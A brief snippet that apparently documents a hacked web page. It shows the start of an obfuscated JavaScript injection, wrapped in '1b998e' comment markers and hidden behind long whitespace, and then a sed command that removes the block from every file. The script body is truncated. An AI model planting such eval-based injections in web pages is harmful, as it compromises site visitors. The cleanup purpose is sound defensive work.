<!--1b998e--><script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}ca
.....

</script><!--/1b998e-->

sed -r 's/<!--1b998e--><script type(.*)1b998e-->//g' *